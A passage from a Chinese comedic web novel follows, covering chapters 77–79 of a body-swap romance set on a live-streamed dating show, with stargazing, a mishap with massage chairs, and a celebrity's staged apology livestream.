说罢她顿了顿,脸上泛起一抹绯红,有些难以启齿地开口:“没想到他竟然不嫌弃我来了……那个。这年头,像他这样的男生不多了,我觉得我很幸运,选了一个好搭档。” 工作人员继续上道地递话:“听说你当时来……那个的时候,沈老师很紧张?” 阮绵绵小幅度地点点头,语气羞赧:“对,明明是我在痛,可他居然也哭了,哭得我都不那么疼了,你说奇怪不奇怪?” “可能他也来了月经。” 裴砚知扔下一句话,淡淡地从众人身边路过。 暧昧的气氛就这样被猝然打断,因为没做紧急预案,接不住戏的阮绵绵只能张张嘴,半天说不出来一句话。 门口的风铃声再度响起,周悦甜和何孟理也完成了打卡任务,走进了休息室。 喜欢装逼的两位哲学大师还在探讨着人生感悟,不知道的还以为这是档三流访谈节目。 周悦甜一边推门,一边沉痛忏悔:“我还有两个月就二十二了,在事业方面却没有任何成就,我非常焦虑,天天失眠,因为能明显感觉到能力在退步,我很害怕之后的人生只会走下坡路……” “你可以先gay一年,调整下心态。” 何孟理摸摸下巴,表情严肃。 说话间,剩下的三个人一齐到达了灯塔下,段羡秋见到落单的江简哲后眼睛一瞪,然后挂起了爽朗的笑容,庆幸里还带着一丝幸灾乐祸。 他上前一步拥住江简哲的肩膀,贱兮兮地问:“你怎么没和乔缨一起呀?” 而江简哲也不是个吃素的,晃晃手里的KFC袋子,茶里茶气地炫耀道:“看到没?乔缨姐姐给我买的,姐姐是怕我饿了,所以才让我原地休息带我躺赢的。” “嘁,你当我没看见你是搭收垃圾的小三轮来的?” 段羡秋笑容扭曲,回得阴阳怪气:“明明就是被扔在原地了,还躺赢,你快躺下吧,大白天就开始做梦了。” 两个人吵吵嚷嚷的,吴笑希听得一个头有两个大,怒喝一声:“吵什么吵,就这么一点事!” 她一把拉过裴砚知的手臂,高高举起一杯柠檬水,郑重宣布:“今天我们大家之所以欢聚在这里,是为了我们的好朋友乔缨,庆祝她拿了第一!” 裴砚知把手抽了出来,泰然道:“祝她以后的人生发光,发亮。” 【好耳熟的台词。】 【前面忘了,中间忘了,后面忘了,总之全忘了。】 【你还是学点吧。】 休整片刻,节目组将嘉宾们聚在一起,宣布了今天的获胜者以及相应的奖励。 “恭喜乔缨和江简哲组获得豪华情侣双人餐一份,地点在能俯瞰整座岛屿的旋转餐厅「La Luna」的VIP顶层,今晚将有流星雨划过,餐厅还给两位准备了专属的观星位哦。” PD每说一句,便听取“哇”声一片。 辛辛苦苦走了几个小时,所有人都累得不行,正是最饥肠辘辘的时候。 吴笑希吞了口口水,举手发问:“那我们呢?我们吃什么?” PD被她急切的样子逗笑,耐心解释道:“你们在下一层的自助餐厅就餐,虽然可能看不见流星雨,但味道也是很不错的。” 吴笑希立马发出一道欢呼声。 已经快到下午五点,一队人马浩浩荡荡地准备上车,打算朝餐厅出发。 段羡秋远远坠在人群后,阴沉沉地盯着江简哲的后脑勺,然后躲在镜头外,往江简哲的杯子里撒了把泻药。 他在心里桀桀桀地笑了起来。 好奇宝宝,别怪我,我得不到的,你也别想得到。 段 羡秋面色如常地坐上车,跟随大部队来到了餐厅所在的大厦。 大厦位于南岛的CBD区域,夕阳斜斜照在玻璃墙上,在橘红色的天空里烁亮闪动。 因为节目组预留出了堵车的时间,现在提前到达,导致在开餐前还多出了二十分钟的空余。 服务人员将一行人引至休息厅,还介绍了旁边的一间巨幕星空穹顶影院,让他们感兴趣的可以去看看。 阮绵绵听罢,兴奋地拽拽沈颐的胳膊,叫喊道:“好浪漫!沈颐哥哥,你不是很喜欢星空和天文吗?你要不要去看看。” 沈颐正要答应,裴砚知却先他一步走了进去,江简哲亦步亦趋地跟着。 室内的座位设计得很少,只有中间和后面一排还剩下三个座位,将一个高大的男人包裹其中。 裴砚知想也不想地坐在了男人身后,江简哲虽然不解,但也不敢多说,和沈颐一左一右坐在了男人两侧。 那个男人正是乔缨。 头顶的星空浩荡璀璨,她看到一半打起了哈欠,余光忽然瞥到座椅扶手上有个按摩的二维码。 这地方还挺高级。 只要五块钱就能按半个小时,贪小便宜等不到明天的乔缨立马掏出手机扫了二维码,付了五块大洋。 正当她准备闭眼享受时,伴随着一阵机械摩擦的声音,她左手边的椅子忽然缓慢升了起来。 坐在上面的人虽然看不清脸色,但从他惊疑不定的呼喊声中,可以判断出他现在应该慌张得像个新兵蛋子。 他先是摇了摇座椅,可那椅子却比乔缨此刻的心情还要沉重,怎么摇都摇不下去。 黑暗中,男人转头无助地看向乔缨,乔缨也无助地看向他——— 卧槽,怎么是江简哲! 尴尬的气氛蔓延开来,江简哲瞪大了眼睛,似乎想要说些什么,可刚张开口,那按摩椅就开始兢兢业业地工作起来。 机械巨大的力道把他的胸腔打得像安塞腰鼓一样,更遑论他才刚喝了泻药,肚子里开始绞痛,更是雪上加霜。 闷响夹杂着“嘶嘶”的抽气声,嘴里的话硬生生被打得支离破碎,只剩下意义不明的:“呃呃……” 好像在打糍粑。 战况激烈,本就沉重的空气更加沉重了。 乔缨默默无言,从江简哲求救的神情里看出了“SOS”三个大字。 怀揣着救人要紧的信念感,她马上重新扫了一遍二维码,试图将按摩功能关闭。 江简哲见状松了口气。 但他发现自己松早了。 那椅子不知为何迟迟不肯降下来,他咬牙尝试了各种姿势,反而越陷越深。 在一众平躺的座位里,他显得如此醒目,笑得如此命苦。 铁骨铮铮了一辈子的江简哲,在眼角划下一滴清泪,向乔缨摇了摇头。 算了吧,算了。 再折腾下去命都没了。 后排的裴砚知目睹了全程,胸腔里发出一声闷笑。 而乔缨则是擦擦额角的汗珠,越想越亏。 这五块钱她是一分都没享受到啊! 于是她又掏出手机,扫了座椅右边的二维码,心道这次怎么着也不可能错了。 然后半秒后,乔缨就眼睁睁地看着右边的沈颐慢慢升了起来,眼神里充斥着三分震惊三分无助和四分想刀人的恨意。 今天,本就有着前嫌旧恨的两人,更是添上了一笔新仇。 腾空而起的沈颐和江简哲,像乔缨的左右护法。 两人默默对视两眼,都从对方的眼神里读出了绝望。 江简哲艰难地扭了扭身子,一脸菜色,双目呆滞地盯着星空顶。 他愣愣地想,如果变成星星的话,应该就不会窜稀了吧? 思绪飘到以前,记者采访时问他将来想做什么,他却总是说不出个所以然来,直到今天才明晰了答案。 他将来想做一包蒙脱石散。 厅内,不知是谁的手机铃声应景地响了起来,绕梁三日,无比凄凉: “啊~啊啊啊啊啊~命运呐~为什么这样~折磨着我~” 江简哲惨然地闭上眼睛。 这都什么歌啊!听得他连上吊的力气都没了! 第77章 第七十七章 夫妇相性一百问 幸好, 左右护法的形态只维持了半分钟,在众人心惊胆战的目光下,按摩椅还是缓缓回到了原处。 一挣脱束缚, 江简哲就跟星露谷里被惊吓到的农民一样弹跳起来,捂着肚子仓皇逃到厕所。 十几分钟后, 他脚步虚浮地走了出来,靠在门板上微微喘气, 竟然产生了一种劫后余生的幸福感。 乔缨有些过意不去, 毕竟人家江简哲和她无冤无仇,上个恋综还被迫害成这样,还真是挺倒霉的。 于是她跟了出来,看见江简哲出卫生间后,一边想着措辞一边缓步靠近:“那个……如果你现在心情很低沉的话, 就去想想霍金, 因为他现在还卡在去天堂的楼梯上……” 可江简哲却以为她是来算账的,一见到她就脸色大变, 差点当场给她跪下来。 他已经完全代入了言情文里骚扰女主然后被霸总狠狠收拾的炮灰男角色,揪住乔缨的裤腿, 声泪俱下:“姐、姐夫, 对不起,我……我再也不敢和姐姐一起约会了, 你就放过我吧!” 走廊上人来人往,闻言纷纷用异样的眼神看着两人。 一个阿姨以比奇堡居民捂耳朵.jpg的姿势, 捂着两个小孩的耳朵快速路过, 跟看神经病似的瞥了他们一眼。 江简哲苦命地扯扯嘴角,可怜巴巴地哀求:“姐夫,求你不要冷藏我………” “首先, 那叫雪藏。” 乔缨无语地吐出一口气:“还冷藏,你又不是冻猪肉。” 看着两人交谈的场景,躲在暗处偷窥的恶毒男配段羡秋攥了攥拳,淬了毒的视线恨不得把乔缨的后脑勺盯出个窟窿来。 没想到,刚解决完一个又来了一个。 他缩在墙角,不甘地咬着手指甲,决定正面出击。 收敛住脸上阴暗的表情,段羡秋挂起虚情假意的微笑,看似很担忧地走到江简哲身边,关心道:“简哲这是怎么了?需要帮忙吗?” “装什么装,你还不知道我发生了什么吗?” 早在厕所里,江简哲就已经猜出了给他下泻药的始作俑者,咬着牙皮笑肉不笑地问:“你刚才给我喝的什么?我感觉身体好热,有种怒放生命的冲动。” “开水。” 段羡秋答得迅速,脸不红心不跳。 说完,他像是才看到乔缨似的,浮夸地捂着嘴,眼神里暗含着挑衅,道:“裴总怎么也在这里?昭星是不是业务不太好,您看起来还挺闲的呢。” 倒也不是他蠢到敢得罪资本大佬,只是和江简哲这种没什么代表作的愣头青相比,他可是偶像剧届有名有姓的演员。 四周都是夸赞和掌声,被困在粉丝盲目崇拜的茧房里,早就飘得找不着北了,根本就没把裴砚知放在眼里。 乔缨饶有兴趣地看着他表演,挑眉问:“哦,这位先生认识我?” “我看过《银幕背后》,裴总的回答还真是令人印象深刻。” 他像是想到了什么有趣的事情,忽然噗嗤一笑,冷飕飕地放着暗箭:“什么天使恶魔的,太中二了,没想到您这么幼稚。” 段羡秋扫了两人一眼,状似不经意地补上一句:“可惜,乔缨喜欢成熟的一点的男人。 马屁拍到牛蹄上,乔缨顿时就愤怒了。 你什么档次敢说我幼稚!净整这些没用的雄竞! 她上下打量一圈段羡秋,冷哼一声:“那你挺有优势。” 段羡秋一喜,清清嗓子问:“咳……为什么?” 乔缨的语气无波无澜,平静得像乔盛合的心电图:“因为你多少有点显老。” 懒得再看这出boys hate boys的戏码,正好到了开餐时间,她转身就上楼去了顶层。 锵锵三人行变成二人转,江简哲也懒得再演了,一把甩开段羡秋的手,阴恻恻地警告他:“我告诉你,这事儿没完,我可是公司主捧的太子,企容你放肆。” 段羡秋不以为意地笑笑:“不容我放肆也放肆多回了,还差这一回。” “你俩演甄嬛传呢?” 吴笑希抱着一只插着吸管的椰子,惊疑不定地站在几步之外。 走廊旁放着几个布置成小摊的餐前零食桌,有些字被覆盖在顶部的遮帘挡住了一部分,看不真切。 心情十分不妙的江简哲盯着其中一个小摊上的字,一边走一边说:“别管了,吃点麻辣杀人王。” 吴笑希扶额苦笑:“你啥眼神?有没有一种可能,那上面写的是「麻辣条大全」?” 江简哲烦得在空中打了套军体拳,破罐子破摔道:“I dont car!” — La Luna的老板以前是星空摄影师,整家餐厅以观星为噱头,在圈子里小有名气。 乔缨走到提前预定好的餐位上,看了一眼窗外即将消失在海平面上的夕阳。 一月初正是象仪座流星雨的活动期,南岛的观星条件很不错,这也是她当初答应参加恋综的原因之一。 这次互换身体后本以为赶不上了,没想到阴差阳错还是来了南岛,看来她偶尔也有运气好的时候。 服务生拿来烫金的菜单本,乔缨翻来翻去,最终指了指第一页的情侣套餐,道:“我就要这个了。” 服务生顿时有些为难地说:“很抱歉先生,餐厅规定情侣套餐只能两个人一起,您要不要再看看其他的菜品呢?” 情侣套餐本就是餐厅和恋综节目组联合推出的营销噱头,还会送两条情侣项链当作赠品,自然不可能为了乔缨这个普通顾客破例。 根据菜单旁边的介绍,这两条星星形状的项链里都藏着一小片火星陨石,虽然不知道真假,但造型的确十分独特。 乔缨本就是冲着赠品来的,既然不符合条件,也只能眼馋地瞅着项链,心里盘算着明天要不要雇个人来演她对象。 吃饭的心情顿时没了一半,她用手指闲闲翻着菜单,一时拿不定主意。 因为这张脸面无表情的时候实在很唬人,服务员还以为她是生气了,高情商的脑子快速转动。 两秒后,服务员低声暗示道:“不好意思啊先生,我们的情侣套餐的确只适用于两名顾客,但如果说您的女朋友正堵在路上只是不小心迟到了的话……” “没迟到。” 还没说完的话突然被谁打断,乔缨错愕地抬起头,却看到裴砚知把手里的两张票递到服务员手里,一屁股坐在了她对面。 不远处,节目组将摄像头对准了两人的侧脸。 观众并不知道这短短二十分钟发生了什么人间惨剧,只是看完广告一切回直播画面,就被这两张脸震在了原地。 【好般配的两张脸。】 【感觉这两个人爱上对方都有点自恋的成分在。】 【但是话又说回来,我就不能加入这个家吗?】 【烦死了,怎么又是裴砚知,不就是合作过一次吗,这就赖上我女了是吧?】 【江简哲:谁来为我发声!】 一头雾水的乔缨仍在状况外,满脸不解地问:“你来干嘛?” 裴砚知静静看着她,答得简洁:“江简哲身体不舒服,刚好遇到你了,我不想浪费票。” 几道前菜摆上了餐桌,因为是法式餐厅,所以除了价格昂贵,分量也一点都不多,主打一个不挣穷人钱。 幸好味道确实还不错,乔缨吃了几口,顾及到这是在直播节目上,把每道菜都高情商地夸了一遍: “哎这个好吃。” “哎这个也好吃。” “哎这个特别好吃。” “哎这个吱吱的好吃。” “哎这个是必杀的好吃。” 【裴砚知夸食物有一种丰富的匮乏感,谁懂?】 【看起来好像评论罗伯特自动输出。】 【情商好高,慕了。】 【叽里咕噜说啥呢,光盯着他嘴唇看了。】 【好帅,我将在他面前做投篮动作,并放倒我的闺蜜。】 镜头外,裴砚知的额角不受控制地抽了抽,默默道:“答应我,少看点大冰语录好吗?好的。” “我不。” 乔缨叉起一颗葡萄塞进嘴里,挑衅地扬扬眉毛,几个字几个字地往外蹦:“你坏,小孩,乖,摸摸头。” 【我真是阿弥陀佛么么哒了,居然妄想裴砚知是个正常人。】 【这两个人到底在用他们绝美的脸干什么?】 【豹豹猫猫,咱明天不过了是吗?】 由于每一次上餐的间隔太长,餐厅和节目组一合计,打算在等菜的间隙来几个情侣互动小游戏。 一个主持人模样的女孩拿着一张提示卡,站在两人桌前,宣布现在是测试默契度的情侣问答环节。 她脸上洋溢着还未受过迫害的清澈笑容,照着提示卡上的问题,甜甜开口:“请问两位最喜欢的颜色是?” 乔缨:“五彩斑斓的黑。” 裴砚知:“流光溢彩的白。” 主持人脚趾头蜷缩起来,硬着头皮继续问:“那两位最大的爱好是什么呢?” 乔缨:“给植物人浇水。” 裴砚知:“给刚出生的婴儿报名高考。” 主持人扣扣手指:“呃……那两位的梦想是什么?” 这个问题让满嘴跑火车的两人安静了几分钟,皱眉沉思,经过深思熟虑,方才异口同声地开口。 乔缨:“小日本沉岛。” 裴砚知:“小日本沉岛。” 无形的话语越听越红,弹幕刷得飞快: 【你俩是真恨日本啊!】 【公然宣传民/粹主义,此地连明星都被意识形态裹挟得丧失理智了?】 【秋田犬护主心切惹。】 【战狼。】 【战缨。】 终于撑到了最后一个问题,主持人强撑着笑意,摇摇欲坠地问道:“说一件你们永远都无法忘记的事吧。” 永远都无法忘记吗? 呵,有趣。 乔缨思索片刻,侧头浅笑:“房祖铭小便一格纸大便两格纸。” 裴砚知则是缓缓吐出一串神秘数字:“0809……” 【这什么夫妇相性一百问的抽象版?】 【好漫长的三分钟,看完感觉大脑都萎缩了。】 【不是,就这么水灵灵地说出来了?咱明天真的不过了啊?】 第78章 第七十八章 乔八蛋和裴字裤 一餐饭断断续续吃了几个小时, 天色已经完全暗了下来。 因为南岛的高楼大厦并不多,城市里没什么光污染,所以夜空显得格外疏朗。 节目奖励的专属观星位是一处私人露台, 被布置成了简易天文台的样子,赤道仪上装着十四寸的望远镜, 像个迫击炮一样,正静静对着空中的某个方向。 望远镜前, 一前一后交叠着两个熟悉的人, 晦暗的光线下,只在直播间里留下两道暧昧的剪影,风中时不时传来几句飘飘忽忽的对话。 “怎么样?看到星云了吗?” 乔缨调试好设备,低下头凑到裴砚知身旁,以一种半包围的姿态将他拥住, 眼里闪着雀跃的神采。 加了夜视仪的镜头里一片灰绿色调, 视野中间有一团玫瑰状的星云,对称和谐。 裴砚知轻轻“嗯”了一声, 从镜头前移开些许,后背却不小心触碰到他自己的胸肌, 立即诧异地侧过了头。 远处的跨海大桥亮起灯火, 发丝和领带在海风中纠缠,一时间, 距离近得能听见彼此的呼吸。 如此有氛围感的场景,节目组还特意加上一层柔光滤镜, 看得直播间的观众嗷嗷狂叫: 【所有人, 用智能手机点推荐!】 【姐妹们超话见,我又整了几个好活,速来一起建设!】 【来了来了, 爱信等!】 乔缨瞥了一眼弹幕,好奇地打开了超话。 她本以为都是些经典同人文词牌名,什么《蝴蝶吻上肩胛骨》,什么《枪与玫瑰》《生长痛》,最后 再来一篇《斯德哥尔摩综合症》。 可定睛一看,首页飘着的那几条高热度博文居然打破了刻板印象,很不寻常。 她将信将疑地点开图片,几篇拼接换头版的抽象文学大作赫然出现在眼前,躲都来不及躲。 为了换头换得彻底,原文主角的姓氏惨遭毒手,在粗暴的一键替换下,朝她迎面走来的是乔八蛋和裴字裤。 “噗!” 乔缨一口老血差点喷出来,手忙脚乱地退出了微博。 一旁的裴砚知对她时不时抽风的行为见怪不怪,关掉了身上别着的麦克风,转而询问道:“你为什么会对星空感兴趣?” “在遇到柳黎前,我看过好几个心理医生。” 乔缨耸耸肩,毫不在意地回答道:“第一个医生贱兮兮的,我跟他说我情绪不好,他说我不是情绪不好,是确实过得太惨了,各种言语刺激下,我气得当场给了他几个大比兜。” “然后医院给我换了个心理咨询师,他的治疗方案是让我报名去北极看星星,说在极光下人类的那点小纠葛啥也不是,让我别再那么偏执。” 她顿了顿:“我说你放屁,凭什么啥也不是,如果把所有伤害都轻轻放过,那我现在根本不可能站在这儿看极光。” “虽然如此,那趟旅程的体验我至今都认为非常难得,回家后近乎疯狂地迷恋上了这项活动。” 乔缨轻抚着镜筒,笑了笑:“镜头是我感知这个世界的触角,而宇宙就像块海绵一样,吸收着我所有或狂热或痛苦的情绪,从某种程度上来说,竟然意外达成了医生想要的效果。” 时针正好指到二十二点,夜幕中第一颗流星滑落,裴砚知忽然踮起脚揉了揉她的头发。 乔缨疑惑地看着他,问:“你干什么?” “没什么。” 裴砚知却不愿多说,径直坐回到沙发上,气定神闲地抿了口果茶。 他好像明白了乔缨为什么要取【Dioretsa】这个名字了。 一颗独自旋转的小行星,自我,封闭,却又奇异瑰丽,的确很符合她的形象。 听不见两人对话的观众急得直抠脚,在看到流星越落越多时又纷纷止住了话头,转而七嘴八舌地开始许愿。 象仪座的流星速度很快,在那颗最闪最亮的流星彻底划过天空前,乔缨赶紧闭上了眼睛,虔诚祈祷:“万能的神啊,但愿我明天能成功逮到司逸这个小崽子。” 睁开眼,流星雨恰好到达极大值,群星拖拽着长尾坠入波光粼粼的海面,宛如奔赴一场盛大而绚丽的葬礼。 夜空静寂,水波汹涌。 乔缨感觉脖子一凉,裴砚知替她戴上了那条藏着星星碎片的赠品项链,指了指被流星照亮的夜空,轻笑道:“你看,神说她听到了。” 节目组怕打扰气氛,所以并未上前提醒裴砚知让他开麦,而是看图说话般的在画面上方添加字幕,用花体字印上了一段小诗,作为今天餐厅之旅的结尾画面: “我们在孩提时代的梦中早就相识 我们是洪荒时代 在太空中互相寻找的星星 我们相爱已经十万年。” 对浪漫情节严重过敏的乔缨抖抖鸡皮疙瘩,却没有出声吐槽,反而生出一种说不清道不明的滋味。 乔缨无端想起了以前无聊时读的《爱的多重奏》,盯着群星两眼放空,开始进行一些形而上的有关纯爱的思辨。 她和裴砚知的相识,始于一场偶然事件,生命轨迹意外相交,却总是在背离的瞬间被扯回,命运在时间的坐标轴中交叉缠绕,随之而来的,是持续不断的关注和靠近,将偶然固定,变为真理。 想想还挺玄妙的。 半晌,她转过头默默问了一句:“裴砚知,你整得明白哲学吗?就是苏格拉底、黑格尔之类的?” 裴砚知学着她的语气,悠悠回道:“整不明白黑格尔,我只整得明白他弟腾格尔。” 白搭。 乔缨无言仰躺到沙发上,和裴砚知隔着一段似有似无的距离,衣角碰在一起,迎来了这场流星雨的尾声。 时间已经不早了,告别了乔缨,裴砚知跟随着节目组的队伍回到了海滨别墅。 消失许久的PD再度出现,告知众人在回到房间后需要对今天的约会对象进行打分,打分后恋综app便会解锁怦友圈功能,以及解除发消息的数量限制。 嘉宾回到房间,直播间的画面分割成八个小格,实时同步着他们在手机上的操作。 阮绵绵毫无疑问地给沈颐打了满分,而沈颐则是PUA渣男属性不改,为了更好拿捏住阮绵绵,只给她打了八分。 吴笑希和段羡秋这一组则最接近现实里相亲的状态,平淡中透露着一丝尴尬和不熟。 为了展示自己对乔缨的专一,段羡秋给吴笑希打了个低得出乎意料的分数———两分。 而吴笑希对他也不感兴趣,更不想成为他表演深情的play之一,于是反手给他送了一个零蛋。 【我去,火药味好浓。】 【这个真的是恋综吗?感觉像在玩狼人杀。】 【有没有嗑这对邪教cp的?深情男二就需要小太阳救赎啊!】 【小太阳没惹任何人。】 另一边,周悦甜敷着面膜,看着手机犹豫不决。 她正在纠结要给何孟理打什么分数时,聊天框忽然抖了起来,何孟理开始源源不断地给她发消息: 【做个俗人,贪财好色:打分前,我必须和你说一说我的评分标准,你务必要仔细阅读以下的文字,毕竟这和你的终身大事有关。】 【做个俗人,贪财好色:你和照片八分像减一分,身高谎报减一分,爱猫减一分,太喜欢吃安格斯牛堡减一分。】 【做个俗人,贪财好色:你懂得倾听和欣赏本人加一分,沪市本地户口加一分,只有一段恋爱加一分,热爱哲学加一分。】 【做个俗人,贪财好色:本来你有十分的,但你消息回得太慢,扣0.5分,所以你最终的得分是9.5。】 【做个俗人,贪财好色:恭喜你,你成功获得了我为你转身的资格。】 【做个俗人,贪财好色:对了,我手头没零钱了,今天买咖啡的钱先A给我吧。】 周悦甜脸色越看越黑,面膜都快气裂了,咬牙切齿地给他打了一个罪有应得的0分。 【干得漂亮。】 【这下头男到底是上节目干嘛来了?】 【纯路人,何孟理只是性格直男了一点,你们恶意别太重了。】 【你超爱。】 而倒霉了一整天的江简哲再也不想经历一遍被按摩椅殴打至重伤的惨剧,哆哆嗦嗦给裴砚知点了满分。 与此同时,顶层的房间里,裴砚知随便点了个8分,接着软件里便弹出来一条消息,提示他完成发布怦友圈并评论其他好友的任务。 点开右上角的红点,映入眼帘的便是沈颐在大海旁的自拍。 海风吹起额前碎发,他眯起眼,露出一个形状完美的健胃消食片脸,简单配文道: 【根本你不懂得不懂得爱我:奔向一月[马]。】 由于沈颐把拉小头的美颜开到了最大,导致照片中靠近他脸的海面由平缓突然变得陡峭起来。 裴砚知仔细看了一眼照片,发现不对劲,在评论区疑惑地回道: 【血殇·女帝:你脸那里怎么了,为什么它的周围在发生海啸?】 再往下刷,是阮绵绵在餐厅里拍的两张食物餐盘的照片,一个只有一小截红薯,一个满满当当都是食物。 她配文道: 【小猫睡不着:我吃的vs笑希吃的,哈哈盘子太大啦~】 下面有两条回复: 【根本你不懂得你不懂爱我:我家绵绵胃口可真小,下次给你吃宝宝碗哦~】 【草莓蛋糕:好羡慕绵绵的小鸟胃呢,夏天的较量和战斗就要开始了,为了穿上战袍,我也要加油!】 这是在说什么?哪里要打仗了? 裴砚知百思不得其解,遂回复了一句: 【血殇·女帝:干饭都干不过别人,你还想参军?用你的宝宝碗挡子弹吗?】 怦友圈最后一条,是古风公子段羡秋的深情告白视频,念到动情处还落下几滴决绝的眼泪: 【臣一罪遇你,二罪识你,三罪交你,四罪悦你……八罪护你,九罪恋你,十罪爱你。十罪俱全,是臣罪该万死,臣退了,这一退就是一辈子。】 裴砚知看完,深吸一口气,在评论区留下点评: 【血殇·女帝:像拼夕夕砍一刀砍到了后脑勺。】 刚回复完,他便立马收到了段羡秋的私信,语气看起来很是激动: 【断桥残雪:我就知道你还是在意我的!不用口是心非,你的人格是回避型,我懂。】 裴砚知用着最后一丝耐心,杀人诛心地回应: 【血殇·女帝:我不是回避型,我是回避你。】 【血殇·女帝:TD】 第79章 第七十九章 对方拒绝了绿帽子,并扣了…… 直播结束, 所有人都准备去洗漱睡觉时,阮绵绵被节目组的人叫了出来。 经过一天时间的发酵,男粉丝线下捅伤前助理的事已经闹得沸沸扬扬, 加上林娇娇在晚上八点准时发布了一条揭发她压榨员工的博文,阮绵绵顿时被推上了风口浪尖。 经纪人吕薇风尘仆仆地赶到了南岛, 一见到阮绵绵就恨不得给她来两巴掌,可见她委屈巴巴的可怜样, 几次挥出手都没忍心打下去, 最终只能无能狂怒地把平板摔在她身上。 微博和大部分的经纪公司有利益关系,林娇娇为了不被压热度,还在短视频平台特意开了一场直播,细数这些年在阮绵绵身边都受了哪些搓磨,所有证据应有尽有, 比恋综直播间的热度都高。 “你自己看吧, 现在有多少人骂你,有多少人在看你笑话。” 吕薇气不打一处来, 指着她的鼻子劈头盖脸地骂:“你说你,好端端的在机场说人家坏话干嘛?本来这事儿咱们可以撇清关系的, 这下好了, 造出个回旋镖自己锤自己,你这脑子除了你的沈颐哥哥还能装点有用的东西吗?” 阮绵绵不理解她为什么这么生气, 一脸委屈地问:“怕什么?发个律师函告她侵害名誉权,然后删帖删视频, 再找水军压热度, 咱们一直以来都是这样啊?” “你以为我没做这些吗?关键是它压不住啊!” 吕薇头疼地按压着太阳穴,指尖点了点高居转发区第一位的乔缨,破罐子破摔道:“你说, 这让我怎么压?让王高飞封她的微博号?还是说你要连她也一起告啊?” 阮绵绵猛然摇头。 她也就敢给没有靠山的素人发发律师函,可一旦碰上乔缨这种硬茬,气焰顿时就矮了三分。 在封建名利场待久了,她甚至想不通乔缨为什么要替林娇娇出头,简直是多管闲事。 一个小得不能再小的助理,欺负就欺负了,圈内人有几个把助理当人看的?她不过有样学样罢了,为什么偏偏揪着她不放? 阮绵绵无助地看向吕薇,语气茫然:“那现在怎么办?” 吕薇叹了一口气:“我本来是想冷处理的,但节目组那边说这次的舆论已经严重影响到综艺拍摄了,商量后,我们决定让你待会开个直播道歉。” “道歉?” 阮绵绵惊讶地拉高了音调,不可置信地说:“让我给一个助理道歉?凭什么?” 吕薇磨磨后槽牙:“凭什么?凭你现在已经被网友做成了阮学教材,吐槽视频下架了十六遍却还有人在孜孜不倦地上传!” “那不是很有话题度吗?”阮绵绵反驳。 吕薇嗤笑:“你以为你能黑红?时代早就变了,路人缘没了就没了,观众已经不吃这一套了好不好。” 况且阮绵绵本身就不是能吸粉的体质,这次事件出现后,“阮绵绵男粉”迅速成了人人喊打的标签。 在某音上随便点开一条视频的评论区,某些逆天发言下总会有一句:“你都粉阮绵绵了,我让让你。” 可以说,阮绵绵现在的形象,已经彻底和超雄底层男绑定在一起了,甚至因为参加了恋综,男粉的幻绿癖大发作,跟蝗虫似的到处说自己是沸羊羊,打开某扑全是深情男人在开黄腔。 总而言之,两头不讨好。 吕薇朝身后打了个响指,莫名其妙被薅醒的化妆师掩下大半夜被迫加班的怨气,拿起一支颜色惨白的气垫,开始往阮绵绵脸上糊腻子刷墙。 工作人员手脚麻利地布置好了直播间,一张写着台词的A4纸粘在镜头前,连灯光都刻意调成了适合卖惨的氛围。 阮绵绵化着憔悴妆,一脸懵地坐在了镜头前。 吕薇一手握住她的肩膀,郑重其事道:“记住,咱们现在只有卖惨这一条路了,你给我好好演。” 阮绵绵点点头,酝酿了一下情绪,在开播的前一秒滴了滴眼药水,猛然红了眼眶。 她期期艾艾开口:“大家好,我是阮绵绵,这段时间因为我的一些行为,激发了大家或生气或难过情绪,尽管这不是我的初衷,但我也愿意承担……” 【你要不要听听看你在讲什么?】 【也愿意承担?合着她还觉得挺冤枉?】 【大半夜被叫起来加班替她擦屁股,怀疑写稿的人是故意的。】 看到这条弹幕,屏幕前的某个工作人员一震,有些心虚地往外挪去。 公司高层鼻孔朝天惯了,当她把这篇遣词造句阴阳怪气的稿子交给吕薇审批时,竟然没一个人觉得不对劲。 她鄙夷地撇撇嘴,可能在这些人心里,明星给网友道歉算是一种大发慈悲。 阮绵绵自然也没发觉文稿的异常,继续往下深情朗诵:“可我没有大家说的那么好,也没大家说的那么不堪,你不懂我,我不怪你,我以后会以更包容的心态来接受大家的批评,谢谢大家帮我认清了自己。” 【你还搁这儿原谅上了?谁给谁道歉啊?】 【怎么半句不提她前助理的事?那才是她最需要道歉的人吧?】 【老婆你很好,我一个身高一米八三的大男人都觉得你没有错!都怪医院那女的太矫情了!】 【我一拳给你打成一米三八。】 阮绵绵大发慈悲地原谅网友后,便开始进入了卖惨的环节,悬在眼眶里要掉不掉的滴眼液终于落了下来,哽咽道: “我一年到头都在工作,高烧四十多度还在拍戏,忙得连家人的面都见不上。你们知道吗,我奶奶都八十岁了,我们一年只能见一次面,如果她九十岁去世的话,我和她……就只能再见最后十次了!” 她哭得上气不接下气,在直播间干嚎,脸都嚎红了,才堪堪憋出第二滴眼泪。 阮绵绵以为此举能博得同情,找了个楚楚可怜的角度,故意把脸凑近来了个特写。 可她忘了,化妆师给她用的是香奈儿果冻气垫。 只见她脸上流出两条大鼻涕似的白泪,一路下到嘴角,颇有种马戏团小丑的滑稽感。 【一行白泪上青天啊。】 【上综艺比拍戏时演得好捏。】 【阮绵绵不是上个月才去日本旅游吗?在这里拿奶奶买什么惨,分明是她自己不想回家吧?】 【她最后那一下感觉会被做成表情包动图,谁来给她p上那串七字箴言?】 【监测到关键词,自动输出:swa!】 另一头,沈颐也听说了阮绵绵陷入舆论风波,被观众抵制让她退出节目的事情。 这段时间接二连三的打击已经让他草木皆兵,以至于深陷在某种极度害怕被抛弃的状态。 所以听到这个消息后,他的第一反应是完了,阮绵绵现在泥菩萨过江自身难保,已经不能再给他提供任何助力了。 告诉他这件事的人是综艺副导演霍齐姣,两人此时正站在海滨别墅的地下室里,避开摄像头,各怀心思地对视着。 霍齐姣抽着烟,饶有兴味地看着沈颐,慢条斯理道:“怎 么样?你和她炒cp还不如跟了我,我手里还有好几个综艺的资源,保证能把你捧回原来的位置。” 说不动心是假的。 虽然黄富贵有钱有势,但涉及的产业毕竟离娱乐圈太远,能给他的绝对不及霍齐姣手里的资源。 况且霍齐姣比黄富贵年轻一些,至今也才四十出头,看起来玩得也没黄富贵花,不失为一个好去处。 沈颐下定决心,故作冷硬地开口,讨价还价道:“我不是那种拿钱砸就能砸到的男人,霍导还是请回吧。” “那可真是稀奇,”霍齐姣毫不留情地拆穿他,“你这一路上都是靠傍女人来的,当我不知道呢?” “我!” 